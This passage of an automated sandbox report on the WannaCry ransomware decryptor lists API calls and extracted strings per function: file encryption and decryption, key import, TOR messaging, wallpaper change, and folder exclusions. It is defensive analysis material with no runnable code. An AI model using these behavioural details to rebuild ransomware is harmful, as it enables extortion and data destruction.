fclose.MSVCRT ref: 004081BE
FindNextFileA.KERNEL32(?,00000010), ref: 004081F1
FindClose.KERNEL32(?), ref: 00408200
sprintf.MSVCRT ref: 00408266
#537.MFC42(?,?,00000000), ref: 00408280

Part of subcall function 004082C0: #4278.MFC42(000003E8,00000000,000003E8,?,?,76923ABC), ref: 0040830D
Part of subcall function 004082C0: #858.MFC42 ref: 00408322
Part of subcall function 004082C0: #800.MFC42 ref: 00408332
Part of subcall function 004082C0: #1200.MFC42(Too short message!,00000000,00000000,?,?,76923ABC), ref: 00408354
Part of subcall function 004082C0: #800.MFC42 ref: 0040836B
Part of subcall function 004082C0: time.MSVCRT ref: 0040837F
Part of subcall function 004082C0: #540.MFC42 ref: 004083C8
Part of subcall function 004082C0: time.MSVCRT ref: 004083D6
Part of subcall function 004082C0: #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
Part of subcall function 004082C0: #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
Part of subcall function 004082C0: #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
Part of subcall function 004082C0: #800.MFC42 ref: 00408440
Part of subcall function 004082C0: time.MSVCRT ref: 0040844E
Part of subcall function 004082C0: fopen.MSVCRT ref: 00408487
Part of subcall function 004082C0: #800.MFC42 ref: 004084A8
Part of subcall function 004082C0: fread.MSVCRT ref: 004084C2
Part of subcall function 004082C0: fclose.MSVCRT ref: 004084C9
Part of subcall function 004082C0: #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
Part of subcall function 004082C0: time.MSVCRT ref: 00408528
Part of subcall function 004082C0: #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
Part of subcall function 004082C0: #800.MFC42 ref: 0040855B

#537.MFC42(?,?,00000000,?,?,00000000), ref: 004082A2

Strings

%08X.res, xrefs: 00408164
*.res, xrefs: 0040810B
---%s%s%d%I64d%d, xrefs: 00408260

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040D6A0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120

APIs

htons.WS2_32 ref: 0040D6C7
socket.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
bind.WS2_32(00000000,?,00000010), ref: 0040D709
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D728
connect.WS2_32(00000000,?,00000010), ref: 0040D73A
select.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
__WSAFDIsSet.WS2_32(00000000,?), ref: 0040D791
__WSAFDIsSet.WS2_32(00000000,?), ref: 0040D7A3
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D7BB
setsockopt.WS2_32(00000000), ref: 0040D7DD
setsockopt.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
closesocket.WS2_32(00000000), ref: 0040D80E

Strings

`, xrefs: 0040D7D5

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407E80, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
wcslen.MSVCRT ref: 00407EF4
swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67

Strings

@WanaDecryptor@.bmp, xrefs: 00407F10
b.wnry, xrefs: 00407F38
%s\%s, xrefs: 00407F1A

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004067F0, Relevance: 13.6, APIs: 9, Instructions: 71

APIs

IsIconic.USER32(?), ref: 004067FA
#470.MFC42 ref: 0040680F
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040682B
GetSystemMetrics.USER32(0000000B), ref: 00406839
GetSystemMetrics.USER32(0000000C), ref: 0040683F
GetClientRect.USER32(?,?), ref: 0040684C
DrawIcon.USER32(?,?,?,?), ref: 00406884
#755.MFC42 ref: 0040688E
#2379.MFC42 ref: 0040689C

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004047C0, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154

APIs

Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD

Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
Part of subcall function 004049B0: GlobalAlloc.KERNEL32(00000000,00000000), ref: 00404A3A
Part of subcall function 004049B0: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404A52
Part of subcall function 004049B0: CryptImportKey.ADVAPI32(?,00000000,?,00000000,00000000,?), ref: 00404A75
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404A85
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7

CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
_local_unwind2.MSVCRT ref: 004048EB
CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
strncmp.MSVCRT(00000000,?), ref: 00404951
_local_unwind2.MSVCRT ref: 00404964

Strings

TESTDATA, xrefs: 004047EE

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004049B0, Relevance: 10.6, APIs: 7, Instructions: 107

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00404A3A
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404A52
CryptImportKey.ADVAPI32(?,00000000,?,00000000,00000000,?), ref: 00404A75
_local_unwind2.MSVCRT ref: 00404A85
_local_unwind2.MSVCRT ref: 00404AC7

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406C20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72

APIs

GetUserDefaultLangID.KERNEL32 ref: 00406C3B
GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4

Part of subcall function 00406AE0: #540.MFC42(?,767AAD28), ref: 00406B03
Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
Part of subcall function 00406AE0: #800.MFC42(?,?,767AAD28), ref: 00406B62
Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,767AAD28), ref: 00406BC4
Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5

Strings

English, xrefs: 00406C5D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404AF0, Relevance: 6.1, APIs: 4, Instructions: 51

APIs

EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
LeaveCriticalSection.KERNEL32(00000014), ref: 00404B3B

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404770, Relevance: 4.5, APIs: 3, Instructions: 24

APIs

CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004046F0, Relevance: 1.5, APIs: 1, Instructions: 46

APIs

Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD

CryptImportKey.ADVAPI32(?,00420794,00000494,00000000,00000000,?,?,00402031,?), ref: 00404727

Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
Part of subcall function 004049B0: GlobalAlloc.KERNEL32(00000000,00000000), ref: 00404A3A
Part of subcall function 004049B0: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404A52
Part of subcall function 004049B0: CryptImportKey.ADVAPI32(?,00000000,?,00000000,00000000,?), ref: 00404A75
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404A85
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7

Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
Part of subcall function 00404770: CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004046B0, Relevance: 1.5, APIs: 1, Instructions: 26

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040DB80, Relevance: 1.5, APIs: 1, Instructions: 9

APIs

recv.WS2_32(?,?,?,00000000), ref: 0040DB91

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004090F0, Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454

APIs

#540.MFC42 ref: 00409137
#3874.MFC42(?), ref: 0040914A
#860.MFC42(004213A4,?), ref: 00409177
#860.MFC42(%d%%,?), ref: 00409197
_ftol.MSVCRT ref: 004091BF
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004091DD
#2860.MFC42(00000000), ref: 004091E4

Part of subcall function 00409870: #2414.MFC42(?,00409232,00000000), ref: 0040988D

#5875.MFC42(00000001), ref: 0040928D
#6170.MFC42(0000000E,00000001), ref: 004092C0
GetWindowOrgEx.GDI32(?,?), ref: 004092E1
#540.MFC42 ref: 004092FB
#2818.MFC42(?,00000000,?), ref: 00409317
GetObjectA.GDI32(?,0000003C,?), ref: 00409337
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040937B
GetViewportOrgEx.GDI32(?,?), ref: 004093FF
#800.MFC42 ref: 0040963C
#6170.MFC42(?), ref: 0040965D
#5875.MFC42(?), ref: 00409680
#2414.MFC42 ref: 004096D4
#2414.MFC42 ref: 004096F5
#800.MFC42 ref: 00409719

Strings

pgA, xrefs: 00409641
gfff, xrefs: 00409344
tgA, xrefs: 00409662
tgA, xrefs: 00409282
|gA, xrefs: 00409225
|gA, xrefs: 004096A6
pgA, xrefs: 004092B8
xgA, xrefs: 00409685
%d%%, xrefs: 0040918E
[A, xrefs: 004096FA
xgA, xrefs: 0040924E

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00405230, Relevance: 49.8, APIs: 33, Instructions: 279

APIs

#940.MFC42(?), ref: 0040527D
#4277.MFC42(?,00000001), ref: 004052A0
#923.MFC42(?,00000000,?), ref: 004052B8
#858.MFC42(00000000,?,00000000,?), ref: 004052C5
#800.MFC42(00000000,?,00000000,?), ref: 004052D3
#800.MFC42(00000000,?,00000000,?), ref: 004052E4
#4129.MFC42(?,?), ref: 004052FC
#5710.MFC42 ref: 00405314
#922.MFC42(?,00000000,00000000), ref: 00405326
#858.MFC42(00000000,?,00000000,00000000), ref: 00405333
#800.MFC42(00000000,?,00000000,00000000), ref: 00405340
#800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
#800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
#940.MFC42(?), ref: 00405396
#5710.MFC42(?,?), ref: 004053B8
#4129.MFC42(?,?,?,?), ref: 004053D7
#922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
#858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
#4129.MFC42(?,?), ref: 00405443
#4277.MFC42(?,?,?,?), ref: 0040545B
#922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
#858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
#6778.MFC42(?,00000001), ref: 004054EA
#6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
#6778.MFC42(00000000,?), ref: 00405536
#6648.MFC42(?,00000001,00000000,?), ref: 00405545
InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004020A0, Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 359

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
CloseHandle.KERNEL32(00000000), ref: 00402234
CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004022AB
WriteFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 004022C0
SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 004022E5
SetEndOfFile.KERNEL32(00000000), ref: 004022E8
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0040230F

Part of subcall function 00404AF0: EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
Part of subcall function 00404AF0: CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
Part of subcall function 00404AF0: LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
Part of subcall function 00404AF0: LeaveCriticalSection.KERNEL32(00000014), ref: 00404B3B

Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1

ReadFile.KERNEL32(00000000,?,00100000,?,00000000), ref: 004023F3

Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B

WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00402436
_local_unwind2.MSVCRT ref: 00402452
SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040248A
SetEndOfFile.KERNEL32(00000000), ref: 00402491
SetFileTime.KERNEL32(00000000,?,?,?), ref: 004024AD
CloseHandle.KERNEL32(00000000), ref: 004024BD
MoveFileW.KERNEL32(?,?), ref: 004024DA
_local_unwind2.MSVCRT ref: 00402511

Strings

WANACRY!, xrefs: 00402181

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004086E0, Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324

APIs

#470.MFC42 ref: 00408708
GetClientRect.USER32(?,?), ref: 0040871F
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
#6734.MFC42(?,?), ref: 00408746
#323.MFC42(?,?), ref: 0040874F
CreateCompatibleDC.GDI32(?), ref: 004087D2
#1640.MFC42(00000000), ref: 004087DD

Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E

#6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
FillRect.USER32(?,?,?), ref: 0040887D
#2754.MFC42(?,?), ref: 00408892
#2381.MFC42(?,?,?), ref: 0040889F
#3797.MFC42(?,?,?), ref: 004088C0
_ftol.MSVCRT ref: 00408951
_ftol.MSVCRT ref: 0040896F
FillRect.USER32(?,00000000,00000000), ref: 004089B0
FillRect.USER32(?,00000000,?), ref: 004089C2

Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D

#755.MFC42(?,?,?), ref: 00408B20

Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3

#5785.MFC42(?,00000000,?,?,?,?,?,?,?,00CC0020,?,?,?), ref: 00408ACE
#5785.MFC42(?,?,?,?,?,?,?,?,?,00CC0020,?,?,?), ref: 00408ADE

Part of subcall function 00409E20: #2414.MFC42(?,\gA,?,00414238,000000FF,00408AFE,?,?,?), ref: 00409E4B

#640.MFC42(?,?,?), ref: 00408B09

Strings

fA, xrefs: 00408778
\gA, xrefs: 00408809, 00408811
fA, xrefs: 00408A54

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00402AF0, Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133

APIs

_wcsnicmp.MSVCRT ref: 00402AFF
wcsstr.MSVCRT ref: 00402B18
_wcsicmp.MSVCRT ref: 00402B39
_wcsicmp.MSVCRT ref: 00402B53
_wcsicmp.MSVCRT ref: 00402B6D
_wcsicmp.MSVCRT ref: 00402B87
_wcsicmp.MSVCRT ref: 00402BA1
wcsstr.MSVCRT ref: 00402BBB
wcsstr.MSVCRT ref: 00402BD5
_wcsicmp.MSVCRT ref: 00402BF3
_wcsicmp.MSVCRT ref: 00402C0D
_wcsicmp.MSVCRT ref: 00402C27

Strings

\Local Settings\Temp, xrefs: 00402BCF
Content.IE5, xrefs: 00402C21
\Program Files, xrefs: 00402B81
\Intel, xrefs: 00402B33
\ProgramData, xrefs: 00402B4D
This folder protects against ransomware. Modifying it will reduce protection, xrefs: 00402BED
N(@, xrefs: 00402AF2, 00402AFE, 00402B17
\Program Files (x86), xrefs: 00402B9B
\WINDOWS, xrefs: 00402B67
\AppData\Local\Temp, xrefs: 00402BB5
Temporary Internet Files, xrefs: 00402C07

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401760, Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140

APIs

#6453.MFC42 ref: 00401780
WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
TerminateThread.KERNEL32(?,00000000), ref: 004017A5
CloseHandle.KERNEL32(?), ref: 004017B2
sprintf.MSVCRT ref: 00401811
fopen.MSVCRT ref: 00401821
fread.MSVCRT ref: 00401844
fclose.MSVCRT ref: 0040184D
DeleteFileA.KERNEL32(?), ref: 0040185B
#537.MFC42(You have a new message:), ref: 00401885
